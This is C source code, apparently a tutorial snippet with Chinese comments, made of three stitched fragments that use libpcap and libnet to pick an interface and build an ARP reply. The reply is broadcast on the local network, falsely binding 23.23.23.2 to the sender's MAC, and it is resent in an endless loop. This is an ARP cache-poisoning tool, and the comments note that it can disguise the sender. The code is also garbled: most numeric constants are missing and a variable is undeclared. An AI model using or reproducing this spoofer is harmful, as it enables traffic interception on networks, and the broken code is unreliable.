#include <libnet.h>

 #include <stdio.h>

 #include <iostream>

 #pragma comment(lib, "libnet.lib")

 #pragma comment(lib, "wsock32.lib")

 int main(int argc, char **argv)

 {

     pcap_if_t *alldevs;

     pcap_if_t *d;

     int inum;

     int i=;

     pcap_t *adhandle;

     char errbuf[PCAP_ERRBUF_SIZE];

     /* Retrieve the device list */

     if (pcap_findalldevs(&alldevs, errbuf) == -)

     {

         fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);

         exit();

     }

     /* Print the list */

     for(d=alldevs; d; d=d->next)

     {

         printf("%d. %s", ++i, d->name);

         if (d->description)

             printf(" (%s)\n", d->description);

         else

             printf(" (No description available)\n");

     }

     if(i==)

     {

         printf("\nNo interfaces found! Make sure WinPcap is installed.\n");

         return -;

     }

     printf("Enter the interface number (1-%d):",i);

     scanf("%d", &inum);

     cin.get();

     if(inum <  || inum > i)

     {

         printf("\nInterface number out of range.\n");

         /* Free the device list */

         pcap_freealldevs(alldevs);

         cout << "press ENTER to Exit";

         cin.get();

         return -;

     }

     /* Jump to the selected adapter */

     for(d=alldevs, i=; i< inum- ;d=d->next, i++);

     char *device = NULL;//设备名字，此时为NULL

     device=d->name;

     l=libnet_init(LIBNET_LINK,device,error_inf);

     //。。。 。。。

     return ;

 }

#include <stdio.h>

#include <libnet.h>

#define MAC_ADDR_LEN 6

#define IP_ADDR_LEN 4

//向同一网络内所有机器发送ARP REPLY包，告诉他们，23.23.23.2在00:df:17:17:17:f2那里

int main(int argc, char *argv[])

{

    libnet_t *l = NULL; // libnet context

    char *device = "eth0";

    char err_buf[LIBNET_ERRBUF_SIZE];

    libnet_ptag_t p_tag;

    unsigned char src_mac[MAC_ADDR_LEN]//自己机器的MAC地址

        = {0x00, 0xdf, 0x17, 0x17, 0x17, 0xf2};

    unsigned char dest_mac[MAC_ADDR_LEN]

        = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

    char *src_ip_str = "23.23.23.2";

    unsigned long src_ip, dest_ip = ;

    src_ip = libnet_name2addr4(l, src_ip_str, LIBNET_RESOLVE);

    // create libnet environment

    l = libnet_init(LIBNET_LINK_ADV, device, err_buf);

    if(!l)

        printf("libnet_init error\n"), exit();

    //构造ARP数据包

    p_tag = libnet_build_arp( // construct arp packet

        ARPHRD_ETHER, // hardware type ethernet

        ETHERTYPE_IP, // protocol type

        MAC_ADDR_LEN, // mac length

        IP_ADDR_LEN, // protocol length

        ARPOP_REPLY, // op type

        (u_int8_t*)src_mac, // source mac addr这里作用是更新目的地的ARP表 IP-MAC

        (u_int8_t*)&src_ip, // source ip addr

        (u_int8_t*)dest_mac, // dest mac addr

        (u_int8_t*)&dest_ip, // dest ip addr

        NULL, // payload

        , // payload length

        l, // libnet context

         //0 stands to build a new one

    );

    if(- == p_tag)

        printf("libnet_build_arp error\n"), exit();

    //以太网头部

    p_tag = libnet_build_ethernet( // create ethernet header

        (u_int8_t*)dest_mac, // dest mac addr

        (u_int8_t*)src_mac, // source mac addr这里说明你链路层的源MAC地址，如果改了可以伪装自己

        ETHERTYPE_ARP, // protocol type

        NULL, // payload

        , // payload length

        l, // libnet context

         // 0 to build a new one

    );

    if(- == p_tag)

        printf("libnet_build_ethernet error!\n"), exit();

    int res;

    if(- == (res = libnet_write(l)))

        printf("libnet_write error!\n"), exit();

    libnet_destroy(l);

    return ;

}

  /*********send packets*******************************/

     for(;;)

     {

         if((res=libnet_write(l))==-)

         {

             printf("libnet_write err!\n");

             exit();

         }

         printf("arp packet has been sent\n");

         sleep();

     }

     /*********over and destroy**************************/

     libnet_destroy(l);

     return ;